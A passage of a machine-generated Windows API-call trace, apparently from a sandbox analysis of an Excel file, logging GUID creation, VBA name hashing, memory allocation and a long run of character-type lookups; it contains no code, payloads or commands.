Data4=([0]=0xa0, [1]=0x66, [2]=0xa5, [3]=0xc7, [4]=0x80, [5]=0x92, [6]=0xdb, [7]=0xfc))) returned 0x0 [0078.869] CoCreateGuid (in: pguid=0x26f810 | out: pguid=0x26f810*(Data1=0x30acb088, Data2=0xb84f, Data3=0x40b8, Data4=([0]=0x9f, [1]=0x5b, [2]=0xe5, [3]=0x5d, [4]=0x20, [5]=0xe9, [6]=0x7b, [7]=0x84))) returned 0x0 [0078.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisWorkbook", cchWideChar=13, lpMultiByteStr=0x26f820, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook", lpUsedDefaultChar=0x0) returned 13 [0078.869] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0078.869] GetLocalTime (in: lpSystemTime=0x26f6f8 | out: lpSystemTime=0x26f6f8*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x4, wDay=0x1, wHour=0x9, wMinute=0x1b, wSecond=0x26, wMilliseconds=0xf)) [0078.869] _ultow_s (in: _Value=0x5db8060a, _Buffer=0xb56d9fc, _BufferCount=0x9, _Radix=16 | out: _Buffer="5db8060a") returned 0x0 [0078.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015db8060a", cchWideChar=11, lpMultiByteStr=0x26f690, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015db8060a", lpUsedDefaultChar=0x0) returned 11 [0078.869] IMalloc:Alloc (This=0x7feffc15380, cb=0x170) returned 0xb4eb080 [0078.869] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb07d710 [0078.869] strcpy_s (in: _Dst=0xb1dcf90, _DstSize=0xd, _Src="ThisWorkbook" | out: _Dst="ThisWorkbook") returned 0x0 [0078.869] IMalloc:Realloc (This=0x7feffc15380, pv=0xae714c0, cb=0x68) returned 0x71413b0 [0078.870] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0078.870] wcscpy_s (in: _Destination=0xb56da10, _SizeInWords=0xd, _Source="ThisWorkbook" | out: _Destination="ThisWorkbook") returned 0x0 [0078.870] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0078.870] wcscpy_s (in: _Destination=0xb56da30, _SizeInWords=0xd, _Source="ThisWorkbook" | out: _Destination="ThisWorkbook") returned 0x0 [0078.870] IMalloc:Realloc (This=0x7feffc15380, pv=0xae714d0, cb=0x12) returned 0xb122400 [0078.870] IMalloc:Realloc (This=0x7feffc15380, pv=0xae714b0, cb=0x6) returned 0xae714d0 [0078.870] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x3c) returned 0x74fce40 [0078.870] IMalloc:Free (This=0x7feffc15380, pv=0x7141420) [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb5bab40 [0078.870] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bab40, cb=0x68) returned 0x7141420 [0078.870] IMalloc:Free (This=0x7feffc15380, pv=0x74fce40) [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x733c5a0 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb5bab40 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0xb122380 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb3042c0 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae714b0 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae714c0 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x688) returned 0x74e9db0 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb304350 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x640) returned 0x7117550 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb5bab70 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae72350 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae72ca0 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb5baba0 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb3043e0 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0x263b750 [0078.870] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0xb5f2460 [0078.871] IMalloc:Alloc (This=0x7feffc15380, cb=0x400) returned 0xb5f2870 [0078.871] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0078.871] strcpy_s (in: _Dst=0x26f860, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0078.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26f860, cbMultiByte=10, lpWideCharStr=0x26f6b0, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0078.872] IUnknown:AddRef (This=0xb1d1370) returned 0x3 [0078.872] ITypeLib:RemoteIsName (in: This=0xb1d1370, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x26f780, pBstrLibName=0x26f6b0 | out: pfName=0x26f780*=0, pBstrLibName=0x26f6b0) returned 0x0 [0078.872] IUnknown:Release (This=0xb1d1370) returned 0x2 [0078.872] IUnknown:AddRef (This=0xb1d0560) returned 0x2 [0078.872] ITypeLib:RemoteIsName (in: This=0xb1d0560, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x26f780, pBstrLibName=0x26f6b0 | out: pfName=0x26f780*=1, pBstrLibName=0x26f6b0) returned 0x0 [0078.872] IUnknown:Release (This=0xb1d0560) returned 0x1 [0078.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_Evaluate", cchWideChar=-1, lpMultiByteStr=0x26f860, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_Evaluate", lpUsedDefaultChar=0x0) returned 10 [0078.872] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_Evaluate") returned 0x10d918 [0078.872] wcsncpy_s (in: _Destination=0x26f870, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0078.872] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", cchLength=0x3c | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls") returned 0x3c [0078.872] IMalloc:Alloc (This=0x7feffc15380, cb=0x7a) returned 0xb304470 [0078.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", cchWideChar=61, lpMultiByteStr=0xb304470, cbMultiByte=122, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\3d_5684_doc20181101014.xls_.xls", lpUsedDefaultChar=0x0) returned 61 [0078.872] IMalloc:Free (This=0x7feffc15380, pv=0xb304470) [0078.872] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0 [0078.872] CExposedStream::Seek () returned 0x0 [0078.872] CExposedStream::AddRef () returned 0x2 [0078.872] CExposedStream::Read () returned 0x0 [0078.872] IMalloc:Alloc (This=0x7feffc15380, cb=0x2028) returned 0xb5fa430 [0078.873] IMalloc:Alloc (This=0x7feffc15380, cb=0x10020*=0x10128) returned 0xb5fc460 [0078.874] CExposedStream::AddRef () returned 0x3 [0078.874] CExposedStream::Release () returned 0x2 [0078.874] IMalloc:Alloc (This=0x7feffc15380, cb=0x2ee0) returned 0xb60c490 [0078.875] IMalloc:Alloc (This=0x7feffc15380, cb=0x800) returned 0xb5829e0 [0078.875] CExposedStream::Read () returned 0x0 [0078.875] CExposedStream::Read () returned 0x0 [0078.875] IMalloc:Alloc (This=0x7feffc15380, cb=0x404) returned 0xb5f2c80 [0078.875] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x80", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.875] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x81", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.875] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x82", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.875] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x83", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.875] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x84", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.875] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x85", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.875] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x86", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.875] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x87", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x88", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x89", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8a", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8b", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8c", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8d", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8e", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x8f", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x90", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x91", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x92", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x93", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x94", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x95", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x96", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x97", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x98", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x99", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9a", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9b", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9c", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9d", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9e", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\x9f", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa0", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa1", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa2", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa3", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa4", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa5", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa6", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa7", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.876] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa8", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xa9", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xaa", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xab", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xac", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xad", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xae", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xaf", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb0", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb1", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb2", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb3", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb4", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb5", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb6", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb7", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb8", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xb9", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xba", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbb", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbc", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbd", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbe", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xbf", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc0", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc1", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc2", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc3", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc4", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc5", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc6", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc7", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.877] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc8", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xc9", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xca", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcb", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcc", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcd", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xce", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xcf", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd0", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd1", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd2", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd3", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd4", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd5", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd6", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd7", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd8", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xd9", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xda", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdb", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdc", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdd", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xde", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xdf", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe0", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe1", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe2", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe3", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe4", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe5", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe6", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe7", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.878] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe8", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xe9", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xea", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xeb", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xec", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xed", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xee", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xef", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf0", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf1", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf2", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf3", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf4", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf5", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 [0078.879] GetStringTypeA (in: Locale=0x800, dwInfoType=0x4, lpSrcStr="\xf6", cchSrc=1, lpCharType=0x26f970 | out: lpCharType=0x26f970) returned 1 